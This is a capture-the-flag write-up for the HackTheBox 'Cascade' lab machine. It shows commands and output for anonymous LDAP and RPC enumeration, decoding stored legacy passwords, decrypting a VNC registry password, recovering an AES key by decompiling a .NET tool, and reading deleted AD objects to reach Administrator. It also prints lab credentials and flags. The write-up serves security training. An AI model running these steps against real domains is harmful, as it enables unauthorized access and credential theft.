HackTheBox - Cascade
Introduction
Cascade is a great Windows box, lots of fun to work through. It provides an opportunity to practice Windows enumeration techniques, password decryption, basic reverse engineering, and helps realise that insecure configuration and unintended user errors can easily happen due to gaps in processes and security awareness training.
Foothold
As always we start with our trusted Nmap scan and adding the hostname to the hosts file. For this system the -Pn
flag is included as there was no response to ping requests, but the system is definitely online. The -Pn
flag configures the scan to skip host discovery and immediately start scanning ports.
# Nmap 7.80 scan initiated Mon Jun 22 14:45:49 2020 as: nmap -T4 -Pn -p 1-10000 -oA nmap-10000 10.10.10.182
Nmap scan report for 10.10.10.182
Host is up (0.16s latency).
Not shown: 9991 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
# Nmap done at Mon Jun 22 14:46:52 2020 -- 1 IP address (1 host up) scanned in 63.66 seconds
Some of the first steps I take with Windows systems is to check if it is possible to query the system without credentials. You can do this with a variety of tools for different services, such as ldapsearch, rpcclient, smbclient, or you can use enum4linux to cover a lot of ground. I do want to note that enum4linux can be a bit slow, and doesn’t necessarily show all valuable information.
ben@kal:~/hackthebox/cascade$ smbclient -N -L 10.10.10.182
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ben@kal:~/hackthebox/cascade$ rpcclient -U "" -N 10.10.10.182
rpcclient $>
ben@kal:~/hackthebox/cascade$ ldapsearch -H ldap://10.10.10.182 -x -s base '' "(objectClass=*)" "*" +
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: (objectClass=*) * +
#
#
dn:
currentTime: 20200622145512.0Z
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=cascade,DC=local
dsServiceName: CN=NTDS Settings,CN=CASC-DC1,CN=Servers,CN=Default-First-Site-N
ame,CN=Sites,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local
defaultNamingContext: DC=cascade,DC=local
schemaNamingContext: CN=Schema,CN=Configuration,DC=cascade,DC=local
configurationNamingContext: CN=Configuration,DC=cascade,DC=local
rootDomainNamingContext: DC=cascade,DC=local
--snip--
While anonymous SMB login is allowed, no shares are visible, we can anonymously connect with rpcclient
, and LDAP anonymous bind works as well. Let’s see if there is something interesting to be found with either rpcclient
or ldapsearch
, for example, a list of users is always good to have, or credentials that might have been left behind.
ben@kal:~/hackthebox/cascade$ rpcclient -U "" -N 10.10.10.182
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
ben@kal:~/hackthebox/cascade$ ldapsearch -x -b "dc=cascade,dc=local" "*" -h 10.10.10.182
--snip--
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200708180425.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 320454
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132387106632235046
lastLogoff: 0
lastLogon: 132387106934719578
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: [email protected]
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132387050659492735
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
--snip--
With both rpcclient
and ldapsearch
we’re able to find usernames and other account information. At first I assumed that I would be able to take the usernames and perform AS-REP roasting1, or something like it, to retrieve hashes and attempt to crack those. After failing to make any headway, I took the time to take a better look at the data I retrieved via LDAP, and that is when I finally saw the cascadeLegacyPwd
value…
ben@kal:~/hackthebox/cascade$ echo clk0bjVldmE= | base64 -d
rY4n5eva
r.thompson:rY4n5eva
With these credentials we can try and connect to the system to get a shell and hopefully user access. Unfortunately the credentials don’t provide an actual shell access, it does provide access to shares - a foothold of sorts.
ben@kal:~/hackthebox/cascade$ evil-winrm -i 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
ben@kal:~/hackthebox/cascade$ smbclient -U "r.thompson%rY4n5eva" -L \\10.10.10.182
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Audit$ Disk
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
User
Access to shares is always great, as it is very likely that valuable information has been left behind unintentionally, and that such information can be used to gain further access. We can’t access all shares, but after some searching we’ll find a file with an encrypted password located in the Data
share.
ben@kal:~/hackthebox/cascade$ smbclient -U "r.thompson%rY4n5eva" \\\\10.10.10.182\\Audit$
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*
--snip--
ben@kal:~/hackthebox/cascade$ smbclient -U "r.thompson%rY4n5eva" \\\\10.10.10.182\\Data
Try "help" to get a list of possible commands.
smb: \>
--snip--
smb: \IT\Temp\s.smith\> ls
. D 0 Tue Jan 28 13:00:01 2020
.. D 0 Tue Jan 28 13:00:01 2020
VNC Install.reg A 2680 Tue Jan 28 12:27:44 2020
smb: \IT\Temp\s.smith\> get "VNC Install.reg"
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as VNC Install.reg (4.6 KiloBytes/sec) (average 4.6 KiloBytes/sec)
ben@kal:~/hackthebox/cascade$ cat VNC\ Install.reg
��Windows Registry Editor Version 5.00
--snip--
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
--snip--
Knowing that it is VNC related, we can do some googling to figure out that the encrypted password can be decrypted with Metasploit2.
ben@kal:~/hackthebox/cascade$ msfconsole
--snip--
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6bcf2a4b6e5aca0f"].pack('H*'), fixedkey
=> "sT333ve2"
[username]:sT333ve2
Let’s test the password with the usernames we have to see if there is a hit… And there is, s.smith is leading the way to user access.
ben@kal:~/hackthebox/cascade$ evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\s.smith\Desktop> ls
Directory: C:\Users\s.smith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/22/2020 10:29 PM 34 user.txt
-a---- 3/25/2020 11:17 AM 1031 WinDirStat.lnk
*Evil-WinRM* PS C:\Users\s.smith\Desktop> cat user.txt
6b50ebdc6279991ba09bafd994cfb194
Service Account
Now that we have actual access to the system we’ll want to check if our account has any group memberships or permissions that stand out.
*Evil-WinRM* PS C:\Users\s.smith\Documents> net user s.smith
User name s.smith
Full Name Steve Smith
Comment
User's comment
--snip--
Local Group Memberships *Audit Share *IT
*Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
The group membership Audit Share
rings a bell as one of the shares we could not access before was called Audit$
. So let’s try and access that share with the current user to see if there is anything useful in there.
ben@kal:~/hackthebox/cascade$ smbclient -U "s.smith%sT333ve2" \\\\10.10.10.182\\Audit$
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jan 29 11:01:26 2020
.. D 0 Wed Jan 29 11:01:26 2020
CascAudit.exe A 13312 Tue Jan 28 14:46:51 2020
CascCrypto.dll A 12288 Wed Jan 29 11:00:20 2020
DB D 0 Tue Jan 28 14:40:59 2020
RunAudit.bat A 45 Tue Jan 28 16:29:47 2020
System.Data.SQLite.dll A 363520 Sun Oct 27 00:38:36 2019
System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 00:38:38 2019
x64 D 0 Sun Jan 26 15:25:27 2020
x86 D 0 Sun Jan 26 15:25:27 2020
--snip--
smb: \DB\> dir
. D 0 Tue Jan 28 14:40:59 2020
.. D 0 Tue Jan 28 14:40:59 2020
Audit.db A 24576 Tue Jan 28 14:39:24 2020
13106687 blocks of size 4096. 7806417 blocks available
This is definitely interesting, and it seems to be the next step in this machine. By looking through the files, specifically the database, we’ll find an encrypted password for the ArkSvc service account. RunAudit.bat
shows the database file being loaded by CascAudit.exe
, in other words, the executable most likely decrypts the file to be able to perform certain actions. Luckily, CascAudit.exe
is a .NET application which is easy to decompile and analyze.
Database Tables
DeletedUserAudit
Ldap
Misc
sqlite_sequence
Ldap Table Contents
Id uname pwd domain
1 ArkSvc BQO5l5Kj9MdErXx6Q6AGOw== cascade.local
Executable Information
ben@kal:~/hackthebox/cascade/Audit$$ cat RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
ben@kal:~/hackthebox/cascade/Audit$$ file CascAudit.exe
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
I used ILSpy3 in my Windows 10 CommandVM virtual machine to decompile CascAudit.exe
and look at the code. The decryption code, including a key, is easily found in the Main()
function. We can then re-use parts of the application code in an online environment such as .NET Fiddle to decrypt the encrypted password.
Decompiled Code
--snip--
SQLiteDataReader val3 = val2.ExecuteReader();
try
{
val3.Read();
str = Conversions.ToString(val3.get_Item("Uname"));
str2 = Conversions.ToString(val3.get_Item("Domain"));
string encryptedString = Conversions.ToString(val3.get_Item("Pwd"));
try
{
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Console.WriteLine("Error decrypting password: " + ex2.Message);
ProjectData.ClearProjectError();
return;
}
}
--snip--
Hacked Together Decryption Application
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public class Program
{
public static void Main()
{
string EncryptedString = "BQO5l5Kj9MdErXx6Q6AGOw==";
string Key = "c4scadek3y654321";
try
{
string password;
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = CipherMode.CBC;
aes.Key = Encoding.UTF8.GetBytes(Key);
using (MemoryStream stream = new MemoryStream(array))
{
using (CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
password = Encoding.UTF8.GetString(array2);
}
}
Console.WriteLine("Password: " + password);
}
catch (Exception ex)
{
Exception ex2 = ex;
Console.WriteLine("Error decrypting password: " + ex2.Message);
}
}
}
Password: w3lc0meFr31nd
Root
With the freshly decrypted password we can authenticate as the service account which also happens to have an interesting group membership - AD Recycle Bin
.
ben@kal:~/hackthebox/cascade$ evil-winrm -i 10.10.10.182 -u 'arksvc' -p 'w3lc0meFr31nd'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents> net user arksvc
User name arksvc
Full Name ArkSvc
--snip--
Local Group Memberships *AD Recycle Bin *IT
*Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
With a little bit of googling it is easy to figure out how to dumpster dive4 into the deleted AD information and retrieve a base64 encoded password. We can then try to use the password on the administrator account to see if the admin was reusing a password - which they indeed were.
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
--snip--
CanonicalName : cascade.local/Deleted Objects/TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN : TempAdmin
--snip--
ben@kal:~/hackthebox/cascade$ echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles
ben@kal:~/hackthebox/cascade$ evil-winrm -i 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
1935611b18b760b54d20e00a0cd94fb4
Lessons Learned
- I really have to compile a list of keywords to search for in the output of tools or files that I find. Doing this will reduce the likelihood of missing valuable information, as happened in this box with the legacy passwords.